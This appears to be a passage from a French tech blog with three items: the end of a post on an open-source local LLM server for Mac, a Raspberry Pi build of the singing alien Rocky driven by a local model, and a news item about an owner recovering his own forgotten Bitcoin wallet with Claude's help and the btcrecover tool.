Par exemple, le --warm-prompts (couplé au continuous batching) précharge les préfixes populaires au démarrage et, dans le bon scénario, vous gagne entre 1,3 et 2,25x sur le temps de première réponse.

Sur les gros modèles MoE genre Qwen3-30B-A3B, le --moe-top-k réduit aussi le nombre d'experts activés pour gratter 7 à 16% de débit. Le hic, c'est que vous y perdez un poil de qualité.

Et pour les agents qui brassent des contextes énormes, le --ssd-cache-dir déverse le cache de préfixes sur SSD pour soulager la RAM, au prix d'un peu de latence quand ça tape sur le disque.

Bref, si vous cherchez une alternative à Ollama qui tape direct dans le GPU de votre Mac avec du batching et du multimodal, le tout avec une compatibilité API aux petits oignons, foncez les amis ! C'est open source (Apache 2.0), ça dépote et ça s'installe en deux commandes !

Et si vous êtes sur PC plutôt que sur Mac, j'ai écrit la suite sur Lemonade SDK , l'équivalent côté AMD qui tape dans le NPU Ryzen AI.

Merci à Christian pour la découverte !

Rocky - Le pote alien de Projet Dernière Chance débarque sur Raspberry Pi

Par : Korben ✨

J'sais pas si vous avez vu le film ou lu le livre mais Rocky, c'est l'araignée de roche extraterrestre de Projet Dernière Chance (Project Hail Mary) qui communique en chantant. Et Lahiru Maramba, un dev Firebase en poste chez Google, vient de le recréer en vrai avec un Raspberry Pi Zero 2W et un LLM local. Et voilà comme avoir un vrai pote Eridien posé sur votre bureau, qui vous répond en accords polyphoniques au lieu de parler.

L'architecture c'est ce que son concepteur appelle du "Voice Box & Brain". Le Pi Zero 2W tout seul est bien trop faiblard pour faire tourner un modèle de langage, du coup le Pi gère juste le hardware (micro, écran LCD, LED RGB, synthèse des accords) et balance l'audio brut à un Mac qui fait le gros du calcul. Le Mac transcrit ce que vous racontez avec mlx-whisper (un modèle Whisper-Tiny optimisé Apple Silicon), passe le texte à LM Studio qui fait tourner un Gemma 4 quantifié en local, et renvoie la réponse au Pi qui la joue en musique. Latence totale annoncée sur le repo, environ 2 secondes, soit, selon son propre benchmark, le même temps que via l'API Gemini dans le cloud, sauf que là, tout en local !

Le langage Eridien, lui, est fidèle au bouquin d'Andy Weir puisque chaque réponse est synthétisée en accords. Certains mots sont mappés sur des accords émotionnels précis, par exemple "amaze" sort en Mi majeur bien lumineux. Et pour les mots inconnus, ils sont hashés mathématiquement vers une signature de 3 fréquences, déterministe et permanente. Autrement dit, le même mot bizarre produira toujours exactement le même accord, comme un vrai vocabulaire qui se construit. C'est ce genre de petit détail qui fait la diff...

Côté matériel, il faut un Raspberry Pi Zero 2W et un PiSugar Whisplay HAT, un module tout-en-un qui apporte l'écran LCD, le bouton, la LED RGB et l'audio. De son côté, le repo propose 2 chemins d'install : la méthode "It Just Works" avec les drivers système précompilés (apt-get et c'est parti), ou la méthode isolée avec uv pour ceux qui veulent un environnement propre. Côté Mac, vous lancez LM Studio avec le modèle 4-bit quantifié sur le port 1234 et Y'a même un mode cloud avec une clé API Gemini si vous n'avez pas de Mac sous la main, ainsi qu'une fonctionnalité expérimentale planquée avec un générateur de sons façon R2-D2.

Pour la petite histoire, le film Projet Dernière Chance réalisé par Phil Lord et Christopher Miller est sorti en mars, avec Ryan Gosling en Ryland Grace et pour donner une voix à Rocky, les sound designers d'Hollywood ont tout simplement bossé avec un ocarina pour les aigus, une jarre pour les graves, et des chants de baleine, après avoir consulté Andy Weir sur l'anatomie du bestiau.

Je l'ai vu, et franchement, j'ai bien aimé. Je suis bien rentré dedans, même si j'aurais préféré que ce soit un peu plus "hard science" et un peu plus bidouille DIY comme l'était "Seul Sur Mars"... mais bon, il en faut pour tous les goûts.

Après si l'idée d'un compagnon IA DIY vous branche mais que vous voulez un truc plus généraliste et pas un Eridien qui chante, jetez un œil à Adeus , l'assistant IA personnel open source que j'avais couvert.

Quoiqu'il en soit, voici la vidéo complète où Lahiru montre tout le process, du câblage à Rocky qui prend vie :

Bref, c'est gratuit, c'est sous licence MIT, et le repo est juste ici .

Amusez-vous bien à construire votre petit pote Eridien !

Il retrouve 400 000 $ de Bitcoin oubliés depuis 11 ans grâce à Claude

L'histoire est partie d'un changement de mot de passe fait pendant une cuite en 2014. Onze ans plus tard, le malheureux (" cprkrn " sur X) avait toujours ses 5 bitcoins coincés dans un portefeuille numérique dont la clé d'accès s'était totalement évaporée de sa mémoire.

À l'époque, ça valait quelques milliers de dollars. Aujourd'hui, c'est environ 400 000 $. De quoi avoir un peu mal au cœur.

Pour récupérer un portefeuille Bitcoin chiffré, il existe des outils comme btcrecover, un logiciel libre qui essaie des combinaisons de mots de passe en masse. Le problème, c'est qu'il faut une idée précise des variantes à tester, sinon on tape dans le vide pendant des années.

Notre trader avait justement passé des années à essayer sans succès. Et puis il a demandé un coup de main à Claude, l'assistant IA d'Anthropic, l'un des principaux concurrents d'OpenAI.

Claude a fait trois choses concrètes. D'abord, il a fouillé dans les archives d'un vieux disque de fac pour y dénicher une sauvegarde du portefeuille datant de décembre 2019, qui était passée inaperçue. Ensuite, il a repéré un bug de configuration dans btcrecover qui empêchait l'outil de combiner correctement les variantes de mot de passe. Et une fois le bug corrigé, la machine s'est lancée pour de bon.

Résultat : 3 500 milliards de mots de passe testés avant de tomber sur le bon. Le portefeuille s'est ouvert, les 5 bitcoins sont apparus, et notre type a récupéré un pactole oublié.

Cette histoire n'est pas anecdotique en fait. Un nombre énorme de bitcoins sont aujourd'hui considérés comme perdus à jamais, parce que les propriétaires ont oublié leur mot de passe, perdu leur disque dur, ou jeté la mauvaise clé USB.

On parle de plusieurs millions de Bitcoins immobilisés pour rien. Si l'IA peut aider à en récupérer une partie, c'est tout benef, même si la méthode ne marche pas dans tous les cas. Il fallait quand même la sauvegarde du wallet pour que ça fonctionne.

À noter que ce genre d'usage commence à devenir une tendance. Les services de récupération de portefeuilles crypto, comme Wallet Recovery Services, intègrent désormais des modèles d'IA dans leur process pour orienter les attaques par force brute.

Là où une machine essayait bêtement toutes les combinaisons possibles, l'IA peut deviner les habitudes du propriétaire et tester en priorité les variantes les plus probables. Ce qui change tout, parce que le nombre total de combinaisons possibles est en général astronomique.

Bref, ne changez jamais un mot de passe à 3h du matin après quelques verres. Et si c'est déjà fait, gardez l'espoir, Claude a peut-être une idée.

Source : Tom's Hardware

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